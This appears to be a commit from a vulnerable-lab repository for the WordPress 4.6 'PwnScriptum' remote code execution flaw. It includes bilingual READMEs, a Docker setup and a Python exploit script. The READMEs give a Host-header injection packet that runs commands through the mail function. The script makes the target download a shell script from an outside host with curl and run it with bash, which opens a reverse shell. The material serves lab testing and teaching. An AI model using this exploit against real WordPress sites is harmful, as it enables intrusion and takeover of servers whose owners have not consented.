first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

BIN
wordpress/pwnscriptum/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 69 KiB

View File

@@ -0,0 +1,59 @@
# Wordpress 4.6 Remote Code Execution Vulnerability (PwnScriptum)
[中文版本(Chinese version)](README.zh-cn.md)
## Reference link
https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
## Environment setup
```
docker compose build
docker compose up -d
```
Because Mysql initialization needs a little time, so please wait. After initialization succeeds, visit `http://your-ip:8080/`, set the administrator username and password to use it (the database is configured and not automatically updated).
## Exploit
Send the following packet, and you can see that `/tmp/success` has been successfully created:
```
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
```
We need to meet the following requirements to exploit this vulnerability:
1. The executed command cannot contain some special characters, such as `:`, `'`,`"`, etc.
2. The command will be converted to lowercase letters
3. The command needs to use an absolute path
4. Need know an existing user username
In order to solve these problems, the vulnerability author came up with `${substr{0}{1}{$spool_directory}}` instead of `/`, using `${substr{10}{1}{$tod_log}}` method of replacing spaces.
However, there are still a lot of characters can't be used. So we need to put the command on the third-party website, and then download it to `/tmp` directory by `curl -o /tmp/rce example.com/shell.sh`.
Therefore, the expliot process is follows:
- Write the exp of reverse shell and put it on a site. The exp have this following requirements:
- the entire url's uppercase letters will be converted to lowercase, so the file path should not contain uppercase letters.
- Access to this page can't be redirected because the parameter for follow redirect is `-L` (uppercase).
- Splice the command`/usr/bin/curl -o/tmp/rce example.com/shell.sh`and`/bin/bash /tmp/rce`.
- Convert the spaces and `/` in the command to `${substr{10}{1}{$tod_log}}` and `${substr{0}{1}{$spool_directory}}`.
- Produce the HTTP Host header:`target(any -froot@localhost -be ${run{command}} null)`.
- Send these two packets in order.
Here is [expliot.py](exploit.py)change `target` to your target sitechange `user` to an exist user namechange `shell_url` to your payload site.
Execute to get the shell:
![](1.png)

View File

@@ -0,0 +1,59 @@
# Wordpress 4.6 任意命令执行漏洞PwnScriptum
## 原理
参考 https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
## 测试环境
编译及运行测试环境
```
docker compose build
docker compose up -d
```
由于Mysql初始化需要一段时间所以请等待。成功运行后访问`http://your-ip:8080/`打开站点,初始化管理员用户名和密码后即可使用(数据库等已经配置好,且不会自动更新)。
## 测试与EXP使用
发送如下数据包,可见`/tmp/success`已经成功创建:
```
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
```
但实际利用起来,还是有一些坑需要踏过。具体的坑有这么几个:
1. 执行的命令不能包含大量特殊字符,如`:`、引号等。
2. 命令会被转换成小写字母
3. 命令需要使用绝对路径
4. 需要知道某一个存在的用户的用户名
为了解决这些坑,漏洞作者想出了,利用`${substr{0}{1}{$spool_directory}}`代替`/`,用`${substr{10}{1}{$tod_log}}`代替空格的方法。
但是还是有很多字符不能用,所以我们需要将待执行的命令放到第三方网站中,然后通过`curl -o /tmp/rce example.com/shell.sh`的方法先将他下载到/tmp目录中再去执行。
所以,总体来说利用过程如下:
- 编写反弹shell的exp放到某个网页里。有如下要求
- 整个url的大写字母会被转换成小写所以大写小敏感的系统不要使用大写字母做文件路径
- 访问该网页不能跳转因为follow跳转的参数是`-L`(大写)
- 拼接成命令`/usr/bin/curl -o/tmp/rce example.com/shell.sh`和命令`/bin/bash /tmp/rce`
- 将上述命令中的空格和`/`转换成`${substr{10}{1}{$tod_log}}``${substr{0}{1}{$spool_directory}}`
- 拼接成HTTP包的Host头`target(any -froot@localhost -be ${run{command}} null)`
- 依次发送这两个拼接好的数据包
我将上述过程写成[exp脚本](exploit.py)将脚本中target修改成你的目标user修改成一个已经存在的用户`shell_url`修改成你放置payload的网址。或直接将target作为第一个参数、`shell_url`作为第二个参数)
执行即可获得shell
![](1.png)

View File

@@ -0,0 +1,17 @@
version: '2'
services:
web:
image: vulhub/wordpress:4.6
depends_on:
- mysql
environment:
- WORDPRESS_DB_HOST=mysql:3306
- WORDPRESS_DB_USER=root
- WORDPRESS_DB_PASSWORD=root
- WORDPRESS_DB_NAME=wordpress
ports:
- "8080:80"
mysql:
image: mysql:5
environment:
- MYSQL_ROOT_PASSWORD=root

View File

@@ -0,0 +1,35 @@
#!/usr/bin/env python3
import requests
import sys
# wordpress's url
target = 'http://127.0.0.1' if len(sys.argv) < 1 else sys.argv[1]
# Put your command in a website, and use the website's url
# don't contains "http://", must be all lowercase
shell_url = 'example.com/1.txt' if len(sys.argv) < 2 else sys.argv[2]
# an exists user
user = 'admin'
def generate_command(command):
command = '${run{%s}}' % command
command = command.replace('/', '${substr{0}{1}{$spool_directory}}')
command = command.replace(' ', '${substr{10}{1}{$tod_log}}')
return 'target(any -froot@localhost -be %s null)' % command
session = requests.session()
data = {
'user_login': user,
'redirect_to': '',
'wp-submit': 'Get New Password'
}
session.headers = {
'Host': generate_command('/usr/bin/curl -o/tmp/rce ' + shell_url),
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}
session.allow_redirects = False
target += '/wp-login.php?action=lostpassword'
session.post(target, data=data)
session.headers['Host'] = generate_command('/bin/bash /tmp/rce')
session.post(target, data=data)